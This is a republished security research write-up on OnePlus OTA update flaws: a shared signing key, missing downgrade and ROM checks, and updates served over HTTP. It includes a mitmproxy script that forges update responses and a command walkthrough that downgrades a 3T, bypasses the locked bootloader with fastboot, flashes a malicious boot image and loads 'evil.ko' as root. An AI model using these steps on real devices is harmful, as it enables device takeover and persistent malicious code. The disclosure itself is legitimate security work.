First, let’s examine the RSA modulus of various OnePlus OTAs:
Device | ROM | RSA modulus (n) |
---|---|---|
OnePlus 3T | OxygenOS 4.1.3 | 21782805982387604296177070558336721596139005446288723067155752163060792380674168867037042947231871073026199285191589145422985653024885912114232501728960485537295757065919823657047639632148900013404463345326544461336513939147374876134404121142889741951640510899702259729165661805139333278902636992457095433133347780277399353003580189254321487407006771970545005048138096247493483531854783558052139733050104561657073649276210148865047914913333134709047948566674685019932243721554882027423434454367214953672853971042721390979787114912126356134857835410974311137034806029347546023477339683453557505891865401866434288135873 |
OnePlus 3 | OxygenOS 4.1.3 | 21782805982387604296177070558336721596139005446288723067155752163060792380674168867037042947231871073026199285191589145422985653024885912114232501728960485537295757065919823657047639632148900013404463345326544461336513939147374876134404121142889741951640510899702259729165661805139333278902636992457095433133347780277399353003580189254321487407006771970545005048138096247493483531854783558052139733050104561657073649276210148865047914913333134709047948566674685019932243721554882027423434454367214953672853971042721390979787114912126356134857835410974311137034806029347546023477339683453557505891865401866434288135873 |
OnePlus 2 | OxygenOS 3.5.8 | 21782805982387604296177070558336721596139005446288723067155752163060792380674168867037042947231871073026199285191589145422985653024885912114232501728960485537295757065919823657047639632148900013404463345326544461336513939147374876134404121142889741951640510899702259729165661805139333278902636992457095433133347780277399353003580189254321487407006771970545005048138096247493483531854783558052139733050104561657073649276210148865047914913333134709047948566674685019932243721554882027423434454367214953672853971042721390979787114912126356134857835410974311137034806029347546023477339683453557505891865401866434288135873 |
OnePlus X | OxygenOS 3.1.4 | 21782805982387604296177070558336721596139005446288723067155752163060792380674168867037042947231871073026199285191589145422985653024885912114232501728960485537295757065919823657047639632148900013404463345326544461336513939147374876134404121142889741951640510899702259729165661805139333278902636992457095433133347780277399353003580189254321487407006771970545005048138096247493483531854783558052139733050104561657073649276210148865047914913333134709047948566674685019932243721554882027423434454367214953672853971042721390979787114912126356134857835410974311137034806029347546023477339683453557505891865401866434288135873 |
OnePlus 1 | OxygenOS 2.1.4 | 21782805982387604296177070558336721596139005446288723067155752163060792380674168867037042947231871073026199285191589145422985653024885912114232501728960485537295757065919823657047639632148900013404463345326544461336513939147374876134404121142889741951640510899702259729165661805139333278902636992457095433133347780277399353003580189254321487407006771970545005048138096247493483531854783558052139733050104561657073649276210148865047914913333134709047948566674685019932243721554882027423434454367214953672853971042721390979787114912126356134857835410974311137034806029347546023477339683453557505891865401866434288135873 |
OnePlus 3T | HydrogenOS 3.0.0 | 21782805982387604296177070558336721596139005446288723067155752163060792380674168867037042947231871073026199285191589145422985653024885912114232501728960485537295757065919823657047639632148900013404463345326544461336513939147374876134404121142889741951640510899702259729165661805139333278902636992457095433133347780277399353003580189254321487407006771970545005048138096247493483531854783558052139733050104561657073649276210148865047914913333134709047948566674685019932243721554882027423434454367214953672853971042721390979787114912126356134857835410974311137034806029347546023477339683453557505891865401866434288135873 |
OnePlus 3 | HydrogenOS 3.0.0 | 21782805982387604296177070558336721596139005446288723067155752163060792380674168867037042947231871073026199285191589145422985653024885912114232501728960485537295757065919823657047639632148900013404463345326544461336513939147374876134404121142889741951640510899702259729165661805139333278902636992457095433133347780277399353003580189254321487407006771970545005048138096247493483531854783558052139733050104561657073649276210148865047914913333134709047948566674685019932243721554882027423434454367214953672853971042721390979787114912126356134857835410974311137034806029347546023477339683453557505891865401866434288135873 |
OnePlus 2 | HydrogenOS 2.5.1 | 21782805982387604296177070558336721596139005446288723067155752163060792380674168867037042947231871073026199285191589145422985653024885912114232501728960485537295757065919823657047639632148900013404463345326544461336513939147374876134404121142889741951640510899702259729165661805139333278902636992457095433133347780277399353003580189254321487407006771970545005048138096247493483531854783558052139733050104561657073649276210148865047914913333134709047948566674685019932243721554882027423434454367214953672853971042721390979787114912126356134857835410974311137034806029347546023477339683453557505891865401866434288135873 |
OnePlus X | HydrogenOS 1.2.0 | 21782805982387604296177070558336721596139005446288723067155752163060792380674168867037042947231871073026199285191589145422985653024885912114232501728960485537295757065919823657047639632148900013404463345326544461336513939147374876134404121142889741951640510899702259729165661805139333278902636992457095433133347780277399353003580189254321487407006771970545005048138096247493483531854783558052139733050104561657073649276210148865047914913333134709047948566674685019932243721554882027423434454367214953672853971042721390979787114912126356134857835410974311137034806029347546023477339683453557505891865401866434288135873 |
We can clearly see that all OnePlus OTAs of different ROMs and products are signed by the same key. Therefore, the aforementioned vulnerabilities could only be prevented by their updater-script
.
Let’s examine updater-script
of the OnePlus 3T OxygenOS 4.1.3 OTA:
getprop("ro.display.series") == "OnePlus 3T" || abort("E3004: This package is for \"OnePlus 3T\" devices; this is a \"" + getprop("ro.display.series") + "\".");
show_progress(0.750000, 0);
ui_print("Patching system image unconditionally...");
block_image_update("/dev/block/bootdevice/by-name/system", package_extract_file("system.transfer.list"), "system.new.dat", "system.patch.dat") ||
abort("E1001: Failed to update system image.");
show_progress(0.050000, 10);
[...]
Now let’s examine updater-script
of an older OnePlus 3T OxygenOS OTA. For example, 4.0.0’s:
getprop("ro.display.series") == "OnePlus 3T" || abort("E3004: This package is for \"OnePlus 3T\" devices; this is a \"" + getprop("ro.display.series") + "\".");
show_progress(0.750000, 0);
ui_print("Patching system image unconditionally...");
block_image_update("/dev/block/bootdevice/by-name/system", package_extract_file("system.transfer.list"), "system.new.dat", "system.patch.dat") ||
abort("E1001: Failed to update system image.");
show_progress(0.050000, 10);
[...]
Therefore, in contrast to Google’s OTAs, the OnePlus ones do not verify the timestamp of the installed images, and together with the fact that the SW_ID.VERSION
OU field of the relevant images is set to 0, we have a critical Downgrade vulnerability – CVE-2017-5948.
Let’s examine updater-script
of the OnePlus 3T HydrogenOS 3.0.0 OTA:
getprop("ro.display.series") == "OnePlus 3T" || abort("E3004: This package is for \"OnePlus 3T\" devices; this is a \"" + getprop("ro.display.series") + "\".");
show_progress(0.750000, 0);
ui_print("Patching system image unconditionally...");
block_image_update("/dev/block/bootdevice/by-name/system", package_extract_file("system.transfer.list"), "system.new.dat", "system.patch.dat") ||
abort("E1001: Failed to update system image.");
show_progress(0.050000, 10);
[...]
Therefore, HydrogenOS can be installed over OxygenOS and vice versa – Same Product ROM Crossover Vulnerability – CVE-2017-8850.
Finally, let’s examine updater-script
of the latest OnePlus X OxygenOS OTA:
getprop("ro.build.product") == "OnePlus" || abort("This package is for \"OnePlus\" devices; this is a \"" + getprop("ro.build.product") + "\".");
show_progress(0.750000, 0);
ui_print("Patching system image unconditionally...");
block_image_update("/dev/block/platform/msm_sdcc.1/by-name/system", package_extract_file("system.transfer.list"), "system.new.dat", "system.patch.dat");
Let’s examine updater-script
of the OnePlus One OxygenOS OTA:
getprop("ro.build.product") == "OnePlus" || getprop("ro.build.product") == "ONE" || abort("This package is for \"OnePlus\" devices; this is a \"" + getprop("ro.build.product") + "\".");
ifelse(is_mounted("/system"), unmount("/system"));
mount("ext4", "EMMC", "/dev/block/platform/msm_sdcc.1/by-name/system", "/system", "");
unmount("/system");
show_progress(0.750000, 0);
ui_print("Patching system image unconditionally...");
Therefore we can deduce that OnePlus One OTAs can be installed over OnePlus X and vice versa – Different Product ROM Crossover – CVE-2017-8851. By exploiting this vulnerability, installing the OnePlus One OxygenOS OTA over OnePlus X, our device had got into a boot loop (it rebooted once the platform was up), which was only remedied by a factory reset.
The only remaining question left is how the attacker can push those OTAs to the device.
Attack Vector 1: Man-in-the-Middle (MiTM)
Interestingly, Sagi Kedmi and also independently the community, have discovered that OnePlus pushes the signed-OTA over HTTP, thus it enables a trivial MiTM attack. We have filed CVE-2016-10370 for this, as there is absolutely no reason not to use TLS, unnecessarily increasing the attack surface, as we can see next.
OxygenOS/HydrogenOS sends the following JSON request to https://otac.h2os.com/post/Query_Update
or to https://i.ota.coloros.com/post/Query_Update
in order to check if a new OTA is available:
{
"beta": "0",
"imei": "<IMEI>",
"isOnePlus": "1",
"language": "en",
"mobile": "ONEPLUS A3010",
"mode": "0",
"ota_version": "<CURRENT_VERSION>",
"type": "1",
"version": "1"
}
For example, on a OnePlus 3T device running OxygenOS 4.1.1 this results in the following response, announcing that a 4.1.3 OTA is available:
{
"active_url": "https://otafsc1.h2os.com/patch/amazone2/GLO/OnePlus3TOxygen/OnePlus3TOxygen_28.A.51_GLO_051_1704112011/OnePlus3TOxygen_28_OTA_051_all_1704112011_d6f79637e1c.zip",
"description": "https://otafsc.h2os.com/html/GLO/OnePlus3TOxygen/OnePlus3TOxygen_28.A.51_GLO_051_1704112011_version_EN_1492072442240.html",
"down_url": "https://otafsc.h2os.com/patch/amazone2/GLO/OnePlus3TOxygen/OnePlus3TOxygen_28.A.51_GLO_051_1704112011/OnePlus3TOxygen_28_OTA_051_all_1704112011_d6f79637e1c.zip",
"extract": "#OS Version: OnePlus3TOxygen_28_170411\n##WHAT'S NEW\n\\\n\u2022 Upgraded Android 7.1.1 \n\\\n\u2022 Added expanded screenshots \n\\\n\u2022 Improved picture taking of moving objects\n with blur reduction \n\\\n\u2022
Improved video stability when recording\n\\\n\u2022 Improved WiFI connectivity \u00a0\n\\\n\u2022 Improved bluetooth connectivity \n\\\n\u2022 Fixed Instagram swiping bug\n\\\n\u2022 Fixed hardware
buttons\u00a0malfunction\u00a0bug\n\\\n\u2022 Increased system stability\n\\\n\u2022 General bug fixes\n [www.oneplus.net](https://www.oneplus.net/)",
"new_version": "OnePlus3TOxygen_28.A.51_GLO_051_1704112011",
"patchFilePath": "/patch/amazone2/GLO/OnePlus3TOxygen/OnePlus3TOxygen_28.A.51_GLO_051_1704112011/OnePlus3TOxygen_28_OTA_051_all_1704112011_d6f79637e1c.zip",
"patch_md5": "031507863135b7008c2651ea461d0e9e",
"patch_name": "OnePlus3TOxygen_28_OTA_051_all_1704112011_d6f79637e1c.zip",
"patch_size": "1461187808",
"recommend": "100",
"share": "\u8bf7\u7528\u82f1\u8bed\u8bbe\u7f6e\u5206\u4eab\u5185\u5bb9",
"type": "1",
"version_name": "OnePlus3TOxygen_28_1704112011",
"wipe": "0"
}
This JSON response causes the updater app to display the following UI:Consider the following mitmproxy
script:
URL = "<url>"
MD5 = "<md5>"
SIZE= "<size>"
def response(flow):
if "h2os" in flow.request.pretty_url or "coloros" in flow.request.pretty_url:
print(flow.request.pretty_url)
flow.response.status_code=200
flow.response.headers["Content-Type"] = "application/json;charset=UTF-8"
flow.response.headers["Connection"] = "close"
flow.response.content = b"{\"type\":\"1\",\
\"wipe\":\"0\",\
\"new_version\":\"foo\",\
\"version_name\":\"foo!\",
\"description\":\"foo\",\
\"extract\":\"foo\",\
\"patch_name\":\"foo.zip\",\
\"patch_md5\":\"%s\",\
\"patch_size\":\"%s\",\
\"down_url\":\"%s\",\
\"active_url\":\"%s\",\
\"recommend\":\"100\",\
\"share\":\"foo\"}" % (MD5, SIZE, URL, URL)
This will make the Updater app download the OTA from the attacker’s provided URL, and will reboot into recovery when the user clicks on the restart button.
Attack Vector 2: Sideloading via Recovery
In addition to the MiTM attack vector, a physical attacker may also exploit this vulnerability, by rebooting into recovery and sideloading the OTA. Please note that as for OnePlus 3/3T, this vector is blocked if Secure Start-up is enabled (i.e. Full Disk Encryption (FDE) with user credentials).
The following shows how we, by exploiting CVE-2017-5948, downgrade OnePlus 3T running OxygenOS 4.1.3 to 4.0.1 in order to exploit CVE-2017-5626 and gain a root shell and load an arbitrary kernel module.
First, let’s get some info regarding the running OS: (Not required for the attack.)
OnePlus3T:/ $ getprop ro.oxygen.version
getprop ro.oxygen.version
4.1.3
Now, the attacker reboots the device to recovery mode, and pushes the 4.0.1 OTA (exploiting CVE-2017-5948):
$ adb sideload OnePlus3TOxygen_28_OTA_037_all_1701041831_a2ba632ce9.zip
loading: 'OnePlus3TOxygen_28_OTA_037_all_1701041831_a2ba632ce9.zip'...
connecting...
Total xfer: 2.00x
$
Next, the attacker exploits CVE-2017-5626 in order to replace the boot partition, even though the bootloader is locked:
$ fastboot oem device-info
...
(bootloader) Device tampered: false
(bootloader) Device unlocked: false
(bootloader) Device critical unlocked: false
(bootloader) Charger screen enabled: false
(bootloader) Display panel:
(bootloader) Have console: false
(bootloader) Selinux type: <none>
(bootloader) Boot_mode: normal
(bootloader) Kmemleak_detect: false
(bootloader) force_training: false
OKAY [ 0.120s]
finished. total time: 0.120s
$ fastboot flash boot evilboot.img
target reported max download size of 440401920 bytes
sending 'boot' (14836 KB)...
OKAY [ 0.404s]
writing 'boot'...
FAILED (remote: Partition flashing is not allowed)
finished. total time: 0.424s
$ fastboot oem 4F500301
...
OKAY [ 0.020s]
finished. total time: 0.020s
$ fastboot flash boot evilboot.img
target reported max download size of 440401920 bytes
sending 'boot' (14836 KB)...
OKAY [ 0.399s]
writing 'boot'...
OKAY [ 0.136s]
finished. total time: 0.535s
Finally, the attacker gains a root shell and inserts a malicious LKM. Notice that we are at OxygenOS 4.0.1.
$ fastboot reboot
$ adb push evil.ko /data/local/tmp
$ adb shell
OnePlus3T:/ # getprop ro.oxygen.version
getprop ro.oxygen.version
4.0.1
OnePlus3T:/ # id
id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0
OnePlus3T:/ # getenforce
getenforce
Permissive
OnePlus3T:/ # insmod /data/local/tmp/evil.ko
insmod /data/local/tmp/evil.ko
OnePlus3T:/ # dmesg | grep -i hello
dmesg | grep -i hello
[20170511_08:11:09.895120]@3 Hello from Evil LKM!
OnePlus3T:/ #
Source:https://alephsecurity.com/2017/05/11/oneplus-ota/
Working as a cyber security solutions architect, Alisa focuses on application and network security. Before joining us she held a cyber security researcher positions within a variety of cyber security start-ups. She also experience in different industry domains like finance, healthcare and consumer products.